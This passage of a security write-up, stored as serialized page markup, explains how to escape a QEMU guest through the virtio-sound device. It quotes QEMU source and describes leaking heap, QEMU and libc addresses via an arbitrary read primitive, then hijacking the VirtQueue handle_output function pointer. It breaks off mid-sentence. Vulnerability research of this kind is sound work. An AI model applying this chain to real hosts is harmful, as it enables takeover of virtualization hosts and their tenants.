}\n",[130638],{"type":23,"tag":209,"props":130639,"children":130640},{"__ignoreMap":7},[130641,130684,130691,130722,130737,130752,130764,130777,130784,130791,130798,130809,130824,130831,130859,130878,130889,130896,130904,130941,130962,130974,130987,131000,131026,131038,131045,131083,131090,131097,131104,131135,131190,131202,131243,131266,131295,131322,131349,131381],{"type":23,"tag":213,"props":130642,"children":130643},{"class":215,"line":216},[130644,130648,130652,130656,130660,130664,130668,130672,130676,130680],{"type":23,"tag":213,"props":130645,"children":130646},{"style":230},[130647],{"type":28,"value":51097},{"type":23,"tag":213,"props":130649,"children":130650},{"style":230},[130651],{"type":28,"value":51102},{"type":23,"tag":213,"props":130653,"children":130654},{"style":257},[130655],{"type":28,"value":123897},{"type":23,"tag":213,"props":130657,"children":130658},{"style":220},[130659],{"type":28,"value":123902},{"type":23,"tag":213,"props":130661,"children":130662},{"style":274},[130663],{"type":28,"value":1696},{"type":23,"tag":213,"props":130665,"children":130666},{"style":268},[130667],{"type":28,"value":123911},{"type":23,"tag":213,"props":130669,"children":130670},{"style":220},[130671],{"type":28,"value":123916},{"type":23,"tag":213,"props":130673,"children":130674},{"style":274},[130675],{"type":28,"value":1696},{"type":23,"tag":213,"props":130677,"children":130678},{"style":268},[130679],{"type":28,"value":123925},{"type":23,"tag":213,"props":130681,"children":130682},{"style":220},[130683],{"type":28,"value":2183},{"type":23,"tag":213,"props":130685,"children":130686},{"class":215,"line":226},[130687],{"type":23,"tag":213,"props":130688,"children":130689},{"style":220},[130690],{"type":28,"value":10964},{"type":23,"tag":213,"props":130692,"children":130693},{"class":215,"line":524},[130694,130699,130703,130708,130712,130717],{"type":23,"tag":213,"props":130695,"children":130696},{"style":220},[130697],{"type":28,"value":130698}," VirtIOSound ",{"type":23,"tag":213,"props":130700,"children":130701},{"style":274},[130702],{"type":28,"value":1696},{"type":23,"tag":213,"props":130704,"children":130705},{"style":220},[130706],{"type":28,"value":130707},"vsnd ",{"type":23,"tag":213,"props":130709,"children":130710},{"style":274},[130711],{"type":28,"value":3190},{"type":23,"tag":213,"props":130713,"children":130714},{"style":257},[130715],{"type":28,"value":130716}," VIRTIO_SND",{"type":23,"tag":213,"props":130718,"children":130719},{"style":220},[130720],{"type":28,"value":130721},"(vdev);\n",{"type":23,"tag":213,"props":130723,"children":130724},{"class":215,"line":533},[130725,130729,130733],{"type":23,"tag":213,"props":130726,"children":130727},{"style":220},[130728],{"type":28,"value":124915},{"type":23,"tag":213,"props":130730,"children":130731},{"style":274},[130732],{"type":28,"value":1696},{"type":23,"tag":213,"props":130734,"children":130735},{"style":220},[130736],{"type":28,"value":124924},{"type":23,"tag":213,"props":130738,"children":130739},{"class":215,"line":543},[130740,130744,130748],{"type":23,"tag":213,"props":130741,"children":130742},{"style":220},[130743],{"type":28,"value":123944},{"type":23,"tag":213,"props":130745,"children":130746},{"style":274},[130747],{"type":28,"value":1696},{"type":23,"tag":213,"props":130749,"children":130750},{"style":220},[130751],{"type":28,"value":123953},{"type":23,"tag":213,"props":130753,"children":130754},{"class":215,"line":551},[130755,130759],{"type":23,"tag":213,"props":130756,"children":130757},{"style":230},[130758],{"type":28,"value":16616},{"type":23,"tag":213,"props":130760,"children":130761},{"style":220},[130762],{"type":28,"value":130763}," msg_sz, size;\n",{"type":23,"tag":213,"props":130765,"children":130766},{"class":215,"line":570},[130767,130772],{"type":23,"tag":213,"props":130768,"children":130769},{"style":230},[130770],{"type":28,"value":130771}," uint32_t",{"type":23,"tag":213,"props":130773,"children":130774},{"style":220},[130775],{"type":28,"value":130776}," stream_id;\n",{"type":23,"tag":213,"props":130778,"children":130779},{"class":215,"line":655},[130780],{"type":23,"tag":213,"props":130781,"children":130782},{"emptyLinePlaceholder":18},[130783],{"type":28,"value":530},{"type":23,"tag":213,"props":130785,"children":130786},{"class":215,"line":1176},[130787],{"type":23,"tag":213,"props":130788,"children":130789},{"style":220},[130790],{"type":28,"value":104854},{"type":23,"tag":213,"props":130792,"children":130793},{"class":215,"line":1202},[130794],{"type":23,"tag":213,"props":130795,"children":130796},{"emptyLinePlaceholder":18},[130797],{"type":28,"value":530},{"type":23,"tag":213,"props":130799,"children":130800},{"class":215,"line":1758},[130801,130805],{"type":23,"tag":213,"props":130802,"children":130803},{"style":1362},[130804],{"type":28,"value":3131},{"type":23,"tag":213,"props":130806,"children":130807},{"style":220},[130808],{"type":28,"value":123979},{"type":23,"tag":213,"props":130810,"children":130811},{"class":215,"line":1767},[130812,130816,130820],{"type":23,"tag":213,"props":130813,"children":130814},{"style":220},[130815],{"type":28,"value":123987},{"type":23,"tag":213,"props":130817,"children":130818},{"style":274},[130819],{"type":28,"value":1696},{"type":23,"tag":213,"props":130821,"children":130822},{"style":220},[130823],{"type":28,"value":123996},{"type":23,"tag":213,"props":130825,"children":130826},{"class":215,"line":1789},[130827],{"type":23,"tag":213,"props":130828,"children":130829},{"emptyLinePlaceholder":18},[130830],{"type":28,"value":530},{"type":23,"tag":213,"props":130832,"children":130833},{"class":215,"line":1812},[130834,130838,130842,130846,130850,130854],{"type":23,"tag":213,"props":130835,"children":130836},{"style":220},[130837],{"type":28,"value":124011},{"type":23,"tag":213,"props":130839,"children":130840},{"style":274},[130841],{"type":28,"value":3190},{"type":23,"tag":213,"props":130843,"children":130844},{"style":257},[130845],{"type":28,"value":124020},{"type":23,"tag":213,"props":130847,"children":130848},{"style":220},[130849],{"type":28,"value":124025},{"type":23,"tag":213,"props":130851,"children":130852},{"style":230},[130853],{"type":28,"value":55381},{"type":23,"tag":213,"props":130855,"children":130856},{"style":220},[130857],{"type":28,"value":130858},"(VirtQueueElement));\n",{"type":23,"tag":213,"props":130860,"children":130861},{"class":215,"line":1838},[130862,130866,130870,130874],{"type":23,"tag":213,"props":130863,"children":130864},{"style":1362},[130865],{"type":28,"value":3369},{"type":23,"tag":213,"props":130867,"children":130868},{"style":220},[130869],{"type":28,"value":400},{"type":23,"tag":213,"props":130871,"children":130872},{"style":274},[130873],{"type":28,"value":20675},{"type":23,"tag":213,"props":130875,"children":130876},{"style":220},[130877],{"type":28,"value":124059},{"type":23,"tag":213,"props":130879,"children":130880},{"class":215,"line":1851},[130881,130885],{"type":23,"tag":213,"props":130882,"children":130883},{"style":1362},[130884],{"type":28,"value":3395},{"type":23,"tag":213,"props":130886,"children":130887},{"style":220},[130888],{"type":28,"value":313},{"type":23,"tag":213,"props":130890,"children":130891},{"class":215,"line":1864},[130892],{"type":23,"tag":213,"props":130893,"children":130894},{"style":220},[130895],{"type":28,"value":3444},{"type":23,"tag":213,"props":130897,"children":130898},{"class":215,"line":1890},[130899],{"type":23,"tag":213,"props":130900,"children":130901},{"style":537},[130902],{"type":28,"value":130903}," /* get the message hdr object */\n",{"type":23,"tag":213,"props":130905,"children":130906},{"class":215,"line":1899},[130907,130912,130916,130921,130925,130929,130933,130937],{"type":23,"tag":213,"props":130908,"children":130909},{"style":220},[130910],{"type":28,"value":130911}," msg_sz ",{"type":23,"tag":213,"props":130913,"children":130914},{"style":274},[130915],{"type":28,"value":3190},{"type":23,"tag":213,"props":130917,"children":130918},{"style":257},[130919],{"type":28,"value":130920}," iov_to_buf",{"type":23,"tag":213,"props":130922,"children":130923},{"style":220},[130924],{"type":28,"value":265},{"type":23,"tag":213,"props":130926,"children":130927},{"style":268},[130928],{"type":28,"value":52117},{"type":23,"tag":213,"props":130930,"children":130931},{"style":220},[130932],{"type":28,"value":303},{"type":23,"tag":213,"props":130934,"children":130935},{"style":268},[130936],{"type":28,"value":124463},{"type":23,"tag":213,"props":130938,"children":130939},{"style":220},[130940],{"type":28,"value":944},{"type":23,"tag":213,"props":130942,"children":130943},{"class":215,"line":1912},[130944,130949,130953,130958],{"type":23,"tag":213,"props":130945,"children":130946},{"style":268},[130947],{"type":28,"value":130948}," elem",{"type":23,"tag":213,"props":130950,"children":130951},{"style":220},[130952],{"type":28,"value":303},{"type":23,"tag":213,"props":130954,"children":130955},{"style":268},[130956],{"type":28,"value":130957},"out_num",{"type":23,"tag":213,"props":130959,"children":130960},{"style":220},[130961],{"type":28,"value":944},{"type":23,"tag":213,"props":130963,"children":130964},{"class":215,"line":1921},[130965,130970],{"type":23,"tag":213,"props":130966,"children":130967},{"style":514},[130968],{"type":28,"value":130969}," 0",{"type":23,"tag":213,"props":130971,"children":130972},{"style":220},[130973],{"type":28,"value":944},{"type":23,"tag":213,"props":130975,"children":130976},{"class":215,"line":3879},[130977,130982],{"type":23,"tag":213,"props":130978,"children":130979},{"style":274},[130980],{"type":28,"value":130981}," &",{"type":23,"tag":213,"props":130983,"children":130984},{"style":220},[130985],{"type":28,"value":130986},"hdr,\n",{"type":23,"tag":213,"props":130988,"children":130989},{"class":215,"line":3887},[130990,130995],{"type":23,"tag":213,"props":130991,"children":130992},{"style":230},[130993],{"type":28,"value":130994}," sizeof",{"type":23,"tag":213,"props":130996,"children":130997},{"style":220},[130998],{"type":28,"value":130999},"(virtio_snd_pcm_xfer));\n",{"type":23,"tag":213,"props":131001,"children":131002},{"class":215,"line":3918},[131003,131007,131012,131016,131021],{"type":23,"tag":213,"props":131004,"children":131005},{"style":1362},[131006],{"type":28,"value":3369},{"type":23,"tag":213,"props":131008,"children":131009},{"style":220},[131010],{"type":28,"value":131011}," (msg_sz ",{"type":23,"tag":213,"props":131013,"children":131014},{"style":274},[131015],{"type":28,"value":15743},{"type":23,"tag":213,"props":131017,"children":131018},{"style":230},[131019],{"type":28,"value":131020}," sizeof",{"type":23,"tag":213,"props":131022,"children":131023},{"style":220},[131024],{"type":28,"value":131025},"(virtio_snd_pcm_xfer)) {\n",{"type":23,"tag":213,"props":131027,"children":131028},{"class":215,"line":3926},[131029,131033],{"type":23,"tag":213,"props":131030,"children":131031},{"style":1362},[131032],{"type":28,"value":60603},{"type":23,"tag":213,"props":131034,"children":131035},{"style":220},[131036],{"type":28,"value":131037}," rx_err;\n",{"type":23,"tag":213,"props":131039,"children":131040},{"class":215,"line":3986},[131041],{"type":23,"tag":213,"props":131042,"children":131043},{"style":220},[131044],{"type":28,"value":3444},{"type":23,"tag":213,"props":131046,"children":131047},{"class":215,"line":9132},[131048,131053,131057,131061,131065,131070,131074,131079],{"type":23,"tag":213,"props":131049,"children":131050},{"style":220},[131051],{"type":28,"value":131052}," stream_id ",{"type":23,"tag":213,"props":131054,"children":131055},{"style":274},[131056],{"type":28,"value":3190},{"type":23,"tag":213,"props":131058,"children":131059},{"style":257},[131060],{"type":28,"value":125925},{"type":23,"tag":213,"props":131062,"children":131063},{"style":220},[131064],{"type":28,"value":265},{"type":23,"tag":213,"props":131066,"children":131067},{"style":268},[131068],{"type":28,"value":131069},"hdr",{"type":23,"tag":213,"props":131071,"children":131072},{"style":220},[131073],{"type":28,"value":124},{"type":23,"tag":213,"props":131075,"children":131076},{"style":268},[131077],{"type":28,"value":131078},"stream_id",{"type":23,"tag":213,"props":131080,"children":131081},{"style":220},[131082],{"type":28,"value":2867},{"type":23,"tag":213,"props":131084,"children":131085},{"class":215,"line":9150},[131086],{"type":23,"tag":213,"props":131087,"children":131088},{"emptyLinePlaceholder":18},[131089],{"type":28,"value":530},{"type":23,"tag":213,"props":131091,"children":131092},{"class":215,"line":9195},[131093],{"type":23,"tag":213,"props":131094,"children":131095},{"style":220},[131096],{"type":28,"value":124092},{"type":23,"tag":213,"props":131098,"children":131099},{"class":215,"line":9301},[131100],{"type":23,"tag":213,"props":131101,"children":131102},{"emptyLinePlaceholder":18},[131103],{"type":28,"value":530},{"type":23,"tag":213,"props":131105,"children":131106},{"class":215,"line":23557},[131107,131111,131115,131119,131123,131127,131131],{"type":23,"tag":213,"props":131108,"children":131109},{"style":257},[131110],{"type":28,"value":124107},{"type":23,"tag":213,"props":131112,"children":131113},{"style":220},[131114],{"type":28,"value":265},{"type":23,"tag":213,"props":131116,"children":131117},{"style":274},[131118],{"type":28,"value":405},{"type":23,"tag":213,"props":131120,"children":131121},{"style":268},[131122],{"type":28,"value":36319},{"type":23,"tag":213,"props":131124,"children":131125},{"style":220},[131126],{"type":28,"value":303},{"type":23,"tag":213,"props":131128,"children":131129},{"style":268},[131130],{"type":28,"value":124128},{"type":23,"tag":213,"props":131132,"children":131133},{"style":220},[131134],{"type":28,"value":14870},{"type":23,"tag":213,"props":131136,"children":131137},{"class":215,"line":23592},[131138,131142,131146,131150,131154,131158,131162,131166,131170,131174,131178,131182,131186],{"type":23,"tag":213,"props":131139,"children":131140},{"style":220},[131141],{"type":28,"value":124140},{"type":23,"tag":213,"props":131143,"children":131144},{"style":274},[131145],{"type":28,"value":3190},{"type":23,"tag":213,"props":131147,"children":131148},{"style":257},[131149],{"type":28,"value":124149},{"type":23,"tag":213,"props":131151,"children":131152},{"style":220},[131153],{"type":28,"value":265},{"type":23,"tag":213,"props":131155,"children":131156},{"style":268},[131157],{"type":28,"value":52117},{"type":23,"tag":213,"props":131159,"children":131160},{"style":220},[131161],{"type":28,"value":303},{"type":23,"tag":213,"props":131163,"children":131164},{"style":268},[131165],{"type":28,"value":124166},{"type":23,"tag":213,"props":131167,"children":131168},{"style":220},[131169],{"type":28,"value":424},{"type":23,"tag":213,"props":131171,"children":131172},{"style":268},[131173],{"type":28,"value":52117},{"type":23,"tag":213,"props":131175,"children":131176},{"style":220},[131177],{"type":28,"value":303},{"type":23,"tag":213,"props":131179,"children":131180},{"style":268},[131181],{"type":28,"value":124183},{"type":23,"tag":213,"props":131183,"children":131184},{"style":220},[131185],{"type":28,"value":298},{"type":23,"tag":213,"props":131187,"children":131188},{"style":274},[131189],{"type":28,"value":50914},{"type":23,"tag":213,"props":131191,"children":131192},{"class":215,"line":23600},[131193,131197],{"type":23,"tag":213,"props":131194,"children":131195},{"style":230},[131196],{"type":28,"value":124199},{"type":23,"tag":213,"props":131198,"children":131199},{"style":220},[131200],{"type":28,"value":131201},"(virtio_snd_pcm_status);\n",{"type":23,"tag":213,"props":131203,"children":131204},{"class":215,"line":23608},[131205,131209,131213,131217,131221,131225,131229,131233,131238],{"type":23,"tag":213,"props":131206,"children":131207},{"style":220},[131208],{"type":28,"value":124217},{"type":23,"tag":213,"props":131210,"children":131211},{"style":274},[131212],{"type":28,"value":3190},{"type":23,"tag":213,"props":131214,"children":131215},{"style":257},[131216],{"type":28,"value":124226},{"type":23,"tag":213,"props":131218,"children":131219},{"style":220},[131220],{"type":28,"value":265},{"type":23,"tag":213,"props":131222,"children":131223},{"style":230},[131224],{"type":28,"value":55381},{"type":23,"tag":213,"props":131226,"children":131227},{"style":220},[131228],{"type":28,"value":124239},{"type":23,"tag":213,"props":131230,"children":131231},{"style":274},[131232],{"type":28,"value":2703},{"type":23,"tag":213,"props":131234,"children":131235},{"style":220},[131236],{"type":28,"value":131237}," size);",{"type":23,"tag":213,"props":131239,"children":131240},{"style":537},[131241],{"type":28,"value":131242}," // [1]\n",{"type":23,"tag":213,"props":131244,"children":131245},{"class":215,"line":23617},[131246,131250,131254,131258,131262],{"type":23,"tag":213,"props":131247,"children":131248},{"style":268},[131249],{"type":28,"value":124256},{"type":23,"tag":213,"props":131251,"children":131252},{"style":220},[131253],{"type":28,"value":303},{"type":23,"tag":213,"props":131255,"children":131256},{"style":268},[131257],{"type":28,"value":52117},{"type":23,"tag":213,"props":131259,"children":131260},{"style":274},[131261],{"type":28,"value":511},{"type":23,"tag":213,"props":131263,"children":131264},{"style":220},[131265],{"type":28,"value":124273},{"type":23,"tag":213,"props":131267,"children":131268},{"class":215,"line":23659},[131269,131273,131277,131281,131285,131290],{"type":23,"tag":213,"props":131270,"children":131271},{"style":268},[131272],{"type":28,"value":124256},{"type":23,"tag":213,"props":131274,"children":131275},{"style":220},[131276],{"type":28,"value":303},{"type":23,"tag":213,"props":131278,"children":131279},{"style":268},[131280],{"type":28,"value":123925},{"type":23,"tag":213,"props":131282,"children":131283},{"style":274},[131284],{"type":28,"value":511},{"type":23,"tag":213,"props":131286,"children":131287},{"style":220},[131288],{"type":28,"value":131289}," vq;",{"type":23,"tag":213,"props":131291,"children":131292},{"style":537},[131293],{"type":28,"value":131294}," // [2]\n",{"type":23,"tag":213,"props":131296,"children":131297},{"class":215,"line":23692},[131298,131302,131306,131310,131314,131318],{"type":23,"tag":213,"props":131299,"children":131300},{"style":268},[131301],{"type":28,"value":124256},{"type":23,"tag":213,"props":131303,"children":131304},{"style":220},[131305],{"type":28,"value":303},{"type":23,"tag":213,"props":131307,"children":131308},{"style":268},[131309],{"type":28,"value":124313},{"type":23,"tag":213,"props":131311,"children":131312},{"style":274},[131313],{"type":28,"value":511},{"type":23,"tag":213,"props":131315,"children":131316},{"style":514},[131317],{"type":28,"value":517},{"type":23,"tag":213,"props":131319,"children":131320},{"style":220},[131321],{"type":28,"value":313},{"type":23,"tag":213,"props":131323,"children":131324},{"class":215,"line":23700},[131325,131329,131333,131337,131341,131345],{"type":23,"tag":213,"props":131326,"children":131327},{"style":268},[131328],{"type":28,"value":124256},{"type":23,"tag":213,"props":131330,"children":131331},{"style":220},[131332],{"type":28,"value":303},{"type":23,"tag":213,"props":131334,"children":131335},{"style":268},[131336],{"type":28,"value":614},{"type":23,"tag":213,"props":131338,"children":131339},{"style":274},[131340],{"type":28,"value":511},{"type":23,"tag":213,"props":131342,"children":131343},{"style":514},[131344],{"type":28,"value":517},{"type":23,"tag":213,"props":131346,"children":131347},{"style":220},[131348],{"type":28,"value":313},{"type":23,"tag":213,"props":131350,"children":131351},{"class":215,"line":23708},[131352,131356,131360,131364,131368,131372,131376],{"type":23,"tag":213,"props":131353,"children":131354},{"style":257},[131355],{"type":28,"value":124360},{"type":23,"tag":213,"props":131357,"children":131358},{"style":220},[131359],{"type":28,"value":265},{"type":23,"tag":213,"props":131361,"children":131362},{"style":274},[131363],{"type":28,"value":405},{"type":23,"tag":213,"props":131365,"children":131366},{"style":268},[131367],{"type":28,"value":36319},{"type":23,"tag":213,"props":131369,"children":131370},{"style":220},[131371],{"type":28,"value":303},{"type":23,"tag":213,"props":131373,"children":131374},{"style":268},[131375],{"type":28,"value":124381},{"type":23,"tag":213,"props":131377,"children":131378},{"style":220},[131379],{"type":28,"value":131380},", buffer, entry);\n",{"type":23,"tag":213,"props":131382,"children":131383},{"class":215,"line":23717},[131384],{"type":23,"tag":213,"props":131385,"children":131386},{"style":220},[131387],{"type":28,"value":3444},{"type":23,"tag":24,"props":131389,"children":131390},{},[131391,131392,131397,131399,131404,131406,131411,131413,131419],{"type":28,"value":124435},{"type":23,"tag":209,"props":131393,"children":131395},{"className":131394},[],[131396],{"type":28,"value":124441},{"type":28,"value":131398},", QEMU allocates a ",{"type":23,"tag":209,"props":131400,"children":131402},{"className":131401},[],[131403],{"type":28,"value":124578},{"type":28,"value":131405}," whose size depends on the guest-provided iovec, and at ",{"type":23,"tag":209,"props":131407,"children":131409},{"className":131408},[],[131410],{"type":28,"value":124476},{"type":28,"value":131412}," it stores the ",{"type":23,"tag":209,"props":131414,"children":131416},{"className":131415},[],[131417],{"type":28,"value":131418},"VirtQueue *vq",{"type":28,"value":131420}," pointer into the buffer.",{"type":23,"tag":24,"props":131422,"children":131423},{},[131424,131425,131431],{"type":28,"value":64270},{"type":23,"tag":209,"props":131426,"children":131428},{"className":131427},[],[131429],{"type":28,"value":131430},"VirtQueue",{"type":28,"value":131432}," structure contains some useful fields:",{"type":23,"tag":202,"props":131434,"children":131436},{"code":131435,"language":3244,"meta":7,"className":16566,"style":7},"struct VirtQueue\n{\n [...]\n\n VirtIOHandleOutput handle_output;\n VirtIODevice *vdev;\n\n [...]\n};\n",[131437],{"type":23,"tag":209,"props":131438,"children":131439},{"__ignoreMap":7},[131440,131452,131459,131466,131473,131481,131498,131505,131512],{"type":23,"tag":213,"props":131441,"children":131442},{"class":215,"line":216},[131443,131447],{"type":23,"tag":213,"props":131444,"children":131445},{"style":230},[131446],{"type":28,"value":9486},{"type":23,"tag":213,"props":131448,"children":131449},{"style":220},[131450],{"type":28,"value":131451}," VirtQueue\n",{"type":23,"tag":213,"props":131453,"children":131454},{"class":215,"line":226},[131455],{"type":23,"tag":213,"props":131456,"children":131457},{"style":220},[131458],{"type":28,"value":10964},{"type":23,"tag":213,"props":131460,"children":131461},{"class":215,"line":524},[131462],{"type":23,"tag":213,"props":131463,"children":131464},{"style":220},[131465],{"type":28,"value":104854},{"type":23,"tag":213,"props":131467,"children":131468},{"class":215,"line":533},[131469],{"type":23,"tag":213,"props":131470,"children":131471},{"emptyLinePlaceholder":18},[131472],{"type":28,"value":530},{"type":23,"tag":213,"props":131474,"children":131475},{"class":215,"line":543},[131476],{"type":23,"tag":213,"props":131477,"children":131478},{"style":220},[131479],{"type":28,"value":131480}," VirtIOHandleOutput handle_output;\n",{"type":23,"tag":213,"props":131482,"children":131483},{"class":215,"line":551},[131484,131489,131493],{"type":23,"tag":213,"props":131485,"children":131486},{"style":220},[131487],{"type":28,"value":131488}," VirtIODevice ",{"type":23,"tag":213,"props":131490,"children":131491},{"style":274},[131492],{"type":28,"value":1696},{"type":23,"tag":213,"props":131494,"children":131495},{"style":220},[131496],{"type":28,"value":131497},"vdev;\n",{"type":23,"tag":213,"props":131499,"children":131500},{"class":215,"line":570},[131501],{"type":23,"tag":213,"props":131502,"children":131503},{"emptyLinePlaceholder":18},[131504],{"type":28,"value":530},{"type":23,"tag":213,"props":131506,"children":131507},{"class":215,"line":655},[131508],{"type":23,"tag":213,"props":131509,"children":131510},{"style":220},[131511],{"type":28,"value":104854},{"type":23,"tag":213,"props":131513,"children":131514},{"class":215,"line":1176},[131515],{"type":23,"tag":213,"props":131516,"children":131517},{"style":220},[131518],{"type":28,"value":16629},{"type":23,"tag":24,"props":131520,"children":131521},{},[131522,131523,131529,131531,131537],{"type":28,"value":2623},{"type":23,"tag":209,"props":131524,"children":131526},{"className":131525},[],[131527],{"type":28,"value":131528},".handle_output",{"type":28,"value":131530}," field is a callback, specifically a function pointer that gets called when the virtqueue receives a notification from the guest, and ",{"type":23,"tag":209,"props":131532,"children":131534},{"className":131533},[],[131535],{"type":28,"value":131536},".vdev",{"type":28,"value":131538}," is the pointer passed to it as the first argument:",{"type":23,"tag":202,"props":131540,"children":131542},{"code":131541,"language":3244,"meta":7,"className":16566,"style":7},"static void virtio_queue_notify_vq(VirtQueue *vq)\n{\n if (vq->vring.desc && vq->handle_output) {\n VirtIODevice *vdev = vq->vdev;\n\n [...]\n\n vq->handle_output(vdev, vq);\n\n [...]\n }\n}\n",[131543],{"type":23,"tag":209,"props":131544,"children":131545},{"__ignoreMap":7},[131546,131579,131586,131641,131678,131685,131692,131699,131720,131727,131734,131741],{"type":23,"tag":213,"props":131547,"children":131548},{"class":215,"line":216},[131549,131553,131557,131562,131567,131571,131575],{"type":23,"tag":213,"props":131550,"children":131551},{"style":230},[131552],{"type":28,"value":51097},{"type":23,"tag":213,"props":131554,"children":131555},{"style":230},[131556],{"type":28,"value":51102},{"type":23,"tag":213,"props":131558,"children":131559},{"style":257},[131560],{"type":28,"value":131561}," virtio_queue_notify_vq",{"type":23,"tag":213,"props":131563,"children":131564},{"style":220},[131565],{"type":28,"value":131566},"(VirtQueue ",{"type":23,"tag":213,"props":131568,"children":131569},{"style":274},[131570],{"type":28,"value":1696},{"type":23,"tag":213,"props":131572,"children":131573},{"style":268},[131574],{"type":28,"value":123925},{"type":23,"tag":213,"props":131576,"children":131577},{"style":220},[131578],{"type":28,"value":2183},{"type":23,"tag":213,"props":131580,"children":131581},{"class":215,"line":226},[131582],{"type":23,"tag":213,"props":131583,"children":131584},{"style":220},[131585],{"type":28,"value":10964},{"type":23,"tag":213,"props":131587,"children":131588},{"class":215,"line":524},[131589,131593,131597,131601,131605,131610,131614,131619,131623,131628,131632,131637],{"type":23,"tag":213,"props":131590,"children":131591},{"style":1362},[131592],{"type":28,"value":2653},{"type":23,"tag":213,"props":131594,"children":131595},{"style":220},[131596],{"type":28,"value":400},{"type":23,"tag":213,"props":131598,"children":131599},{"style":268},[131600],{"type":28,"value":123925},{"type":23,"tag":213,"props":131602,"children":131603},{"style":220},[131604],{"type":28,"value":303},{"type":23,"tag":213,"props":131606,"children":131607},{"style":268},[131608],{"type":28,"value":131609},"vring",{"type":23,"tag":213,"props":131611,"children":131612},{"style":220},[131613],{"type":28,"value":124},{"type":23,"tag":213,"props":131615,"children":131616},{"style":268},[131617],{"type":28,"value":131618},"desc",{"type":23,"tag":213,"props":131620,"children":131621},{"style":274},[131622],{"type":28,"value":14259},{"type":23,"tag":213,"props":131624,"children":131625},{"style":268},[131626],{"type":28,"value":131627}," vq",{"type":23,"tag":213,"props":131629,"children":131630},{"style":220},[131631],{"type":28,"value":303},{"type":23,"tag":213,"props":131633,"children":131634},{"style":268},[131635],{"type":28,"value":131636},"handle_output",{"type":23,"tag":213,"props":131638,"children":131639},{"style":220},[131640],{"type":28,"value":14870},{"type":23,"tag":213,"props":131642,"children":131643},{"class":215,"line":533},[131644,131649,131653,131658,131662,131666,131670,131674],{"type":23,"tag":213,"props":131645,"children":131646},{"style":220},[131647],{"type":28,"value":131648}," VirtIODevice ",{"type":23,"tag":213,"props":131650,"children":131651},{"style":274},[131652],{"type":28,"value":1696},{"type":23,"tag":213,"props":131654,"children":131655},{"style":220},[131656],{"type":28,"value":131657},"vdev ",{"type":23,"tag":213,"props":131659,"children":131660},{"style":274},[131661],{"type":28,"value":3190},{"type":23,"tag":213,"props":131663,"children":131664},{"style":268},[131665],{"type":28,"value":131627},{"type":23,"tag":213,"props":131667,"children":131668},{"style":220},[131669],{"type":28,"value":303},{"type":23,"tag":213,"props":131671,"children":131672},{"style":268},[131673],{"type":28,"value":123911},{"type":23,"tag":213,"props":131675,"children":131676},{"style":220},[131677],{"type":28,"value":313},{"type":23,"tag":213,"props":131679,"children":131680},{"class":215,"line":543},[131681],{"type":23,"tag":213,"props":131682,"children":131683},{"emptyLinePlaceholder":18},[131684],{"type":28,"value":530},{"type":23,"tag":213,"props":131686,"children":131687},{"class":215,"line":551},[131688],{"type":23,"tag":213,"props":131689,"children":131690},{"style":220},[131691],{"type":28,"value":124092},{"type":23,"tag":213,"props":131693,"children":131694},{"class":215,"line":570},[131695],{"type":23,"tag":213,"props":131696,"children":131697},{"emptyLinePlaceholder":18},[131698],{"type":28,"value":530},{"type":23,"tag":213,"props":131700,"children":131701},{"class":215,"line":655},[131702,131707,131711,131715],{"type":23,"tag":213,"props":131703,"children":131704},{"style":268},[131705],{"type":28,"value":131706}," vq",{"type":23,"tag":213,"props":131708,"children":131709},{"style":220},[131710],{"type":28,"value":303},{"type":23,"tag":213,"props":131712,"children":131713},{"style":257},[131714],{"type":28,"value":131636},{"type":23,"tag":213,"props":131716,"children":131717},{"style":220},[131718],{"type":28,"value":131719},"(vdev, vq);\n",{"type":23,"tag":213,"props":131721,"children":131722},{"class":215,"line":1176},[131723],{"type":23,"tag":213,"props":131724,"children":131725},{"emptyLinePlaceholder":18},[131726],{"type":28,"value":530},{"type":23,"tag":213,"props":131728,"children":131729},{"class":215,"line":1202},[131730],{"type":23,"tag":213,"props":131731,"children":131732},{"style":220},[131733],{"type":28,"value":124092},{"type":23,"tag":213,"props":131735,"children":131736},{"class":215,"line":1758},[131737],{"type":23,"tag":213,"props":131738,"children":131739},{"style":220},[131740],{"type":28,"value":2875},{"type":23,"tag":213,"props":131742,"children":131743},{"class":215,"line":1767},[131744],{"type":23,"tag":213,"props":131745,"children":131746},{"style":220},[131747],{"type":28,"value":1208},{"type":23,"tag":24,"props":131749,"children":131750},{},[131751,131753,131758,131760,131765,131767,131773,131775,131780,131781,131786,131788,131793],{"type":28,"value":131752},"This means that if we free the known-address chunk and replace it with a ",{"type":23,"tag":209,"props":131754,"children":131756},{"className":131755},[],[131757],{"type":28,"value":124578},{"type":28,"value":131759}," - which is straightforward, since we control the buffer allocation size through the ",{"type":23,"tag":209,"props":131761,"children":131763},{"className":131762},[],[131764],{"type":28,"value":124166},{"type":28,"value":131766}," iovec - we can use the arbitrary read primitive to read its ",{"type":23,"tag":209,"props":131768,"children":131770},{"className":131769},[],[131771],{"type":28,"value":131772},".vq",{"type":28,"value":131774}," pointer, then follow that pointer to leak ",{"type":23,"tag":209,"props":131776,"children":131778},{"className":131777},[],[131779],{"type":28,"value":131528},{"type":28,"value":16104},{"type":23,"tag":209,"props":131782,"children":131784},{"className":131783},[],[131785],{"type":28,"value":131430},{"type":28,"value":131787}," structure. In our case, that field points to ",{"type":23,"tag":209,"props":131789,"children":131791},{"className":131790},[],[131792],{"type":28,"value":123818},{"type":28,"value":131794},", which gives us QEMU's base address.",{"type":23,"tag":24,"props":131796,"children":131797},{},[131798,131800,131806],{"type":28,"value":131799},"From there, we can use the arbitrary read primitive once more to read a resolved entry from QEMU's GOT, leaking a libc address. With that, we can compute the address of ",{"type":23,"tag":209,"props":131801,"children":131803},{"className":131802},[],[131804],{"type":28,"value":131805},"system",{"type":28,"value":124},{"type":23,"tag":9693,"props":131808,"children":131810},{"id":131809},"rip-control",[131811],{"type":28,"value":131812},"RIP Control",{"type":23,"tag":24,"props":131814,"children":131815},{},[131816,131818,131823,131825,131831],{"type":28,"value":131817},"At this point, we have everything we need: an arbitrary read/write primitive, a QEMU code leak, and the address of ",{"type":23,"tag":209,"props":131819,"children":131821},{"className":131820},[],[131822],{"type":28,"value":131805},{"type":28,"value":131824},". To hijack control flow, we do not need to look far - we just described a function pointer on the heap at a known address: ",{"type":23,"tag":209,"props":131826,"children":131828},{"className":131827},[],[131829],{"type":28,"value":131830},"VirtQueue.handle_output",{"type":28,"value":124},{"type":23,"tag":24,"props":131833,"children":131834},{},[131835,131837,131842,131844,131849,131851,131856],{"type":28,"value":131836},"We overwrite 